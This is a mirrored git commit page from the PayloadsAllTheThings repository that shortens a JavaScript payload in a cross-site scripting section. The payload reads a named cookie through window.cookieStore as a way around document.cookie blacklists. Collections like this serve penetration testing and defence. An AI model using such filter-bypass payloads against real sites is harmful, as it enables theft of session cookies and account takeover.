mirror of
https://github.com/swisskyrepo/PayloadsAllTheThings
synced 2026-02-20 14:33:27 +01:00
Shortened payload
Shortened the document.cookie blacklist bypass payload.
This commit is contained in:
parent
5d561ea7d6
commit
f23f28c4e2
1 changed files with 1 additions and 1 deletions
|
|
@ -780,7 +780,7 @@ window["doc"+"ument"]
|
|||
This is another way to access cookies on Chrome, Edge, and Opera. Replace COOKIE NAME with the cookie you are after. You may also investigate the getAll() method if that suits your requirements.
|
||||
|
||||
```
|
||||
const cookiePromise=Promise.resolve(window.cookieStore.get('COOKIE NAME')).then((cookieValue)=>{console.log(cookieValue.value);});
|
||||
Promise.resolve(window.cookieStore.get('COOKIE NAME')).then((cookieValue)=>{console.log(cookieValue.value);});
|
||||
```
|
||||
|
||||
### Bypass using javascript inside a string
|
||||
|
|
|
|||
Loading…
Reference in a new issue